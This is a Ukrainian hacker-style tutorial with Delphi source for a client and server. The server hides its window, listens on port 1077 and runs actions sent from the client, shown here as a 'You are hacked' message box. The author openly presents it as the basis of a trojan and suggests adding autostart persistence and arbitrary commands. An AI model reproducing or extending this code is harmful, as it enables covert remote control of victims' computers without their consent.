На цю тему написано чимало статей, тому я не буду вантажити тебе теорією, яку ти і сам в змозі знайти (бо матеріалу предостатньо). Я покажу, як на практиці можна реалізувати просте клієнт-серверний додаток. При бажанні мій приклад можна розвинути у все що завгодно =).
Отже почнемо.
Як ти вже зрозумів, ми будемо писати 2 проги. Одна — сервер, а інша — клієнт. З допомогою клієнта ми будемо посилати команди на сервер. Кодити будемо на моєму улюбленому Delphi.
// Сервер //
Наш сервер повинен запуститися, і чекати з’єднання з клієнтом. Для конспірації ми зробимо його невидимим =) Кидаємо на форму компонент TcpServer (вкладка Internet) і пишемо:
Код сервера:
…
uses
Windows, Messages, Classes, Controls, Forms, OleCtrls, SHDocVw, Sockets;
…
var
Form1: TForm1;
i: integer;
U: boolean;
….
procedure TForm1.FormCreate(Sender: TObject);
begin
U:=false; //присваеваем логічної змінної значення false;
application.ShowMainForm:=false; //робимо форму невидимої на панелі завдань і в таскменеджере на вкладці «програми»
TcpServer1.LocalPort := ‘1077’; //вказуємо порт сервера
TcpServer1.Active := True; // активуємо
begin
repeat
sleep(1000);
if TcpServer1.ReceiveLn = ‘h’ then // якщо отримали команду «h», то
MessageBox(0,’YoU aRe HacKeD by [email protected]=_’,’WindoZ Must Die!’,0); // виводимо messagebox з привітанням =)
until U;
end;
end;
end;
…
Думаю, тут все зрозуміло. Сервер кожну секунду перевіряє, чи прийшла команда від клієнта, якщо прийшла, і це команда «h», то вилітає повідомлення з твоїм текстом. (можна виконати все що завгодно).
Настав час кодити клієнт.
// Клієнт//
Клієнт — це програма, за допомогою якої ти будеш посилати команди на комп, де запущений сервер. В якості основного компонента для нього ми будемо використовувати TCPClient. Кидаємо його на форму. Крім нього нам знадобляться 3 кнопки (Button). Я назвав їх Коннект, Дисконект і Відправити. З допомогою перших двох ми будемо з’єднуватися/від’єднуватися, а з допомогою третьої будемо посилати команди сервера. Також кидай на форму 2 Edit’а (для введення ip сервака і команди), і компонент Memo (у ньому ми будемо відображати поточну дію). Форму оформляй на свій розсуд (тобі ж з нею працювати =)).
Отже, код клієнта:
…
uses
Windows, Messages, Classes, Controls, Forms, StdCtrls, Sockets;
…
procedure TForm1.Button1Click(Sender: TObject);
begin
Memo1.lines.add(‘Установка з’єднання…’);
TcpClient1.RemoteHost := Edit1.Text; // ip сервера
TcpClient1.RemotePort := ‘1077’; // порт (такий же як у сервера)
TcpClient1.Active := True; // активуємо
Memo1.lines.add(‘З’єдналися.’);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
TcpClient1.Disconnect;
Memo1.lines.add(‘Від’єдналися.’);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
TcpClient1.Sendln(Edit2.Text); // команда
Memo1.lines.add(‘Команда відправлена!’);
end;
…
Ну ось і все! Знову ж, при бажанні можеш додати свої функції (наприклад прописати сервер в автозапуск), і отримаєш непоганий трой… Все в твоїх руках =)
Якщо будуть питання-пиши на [email protected]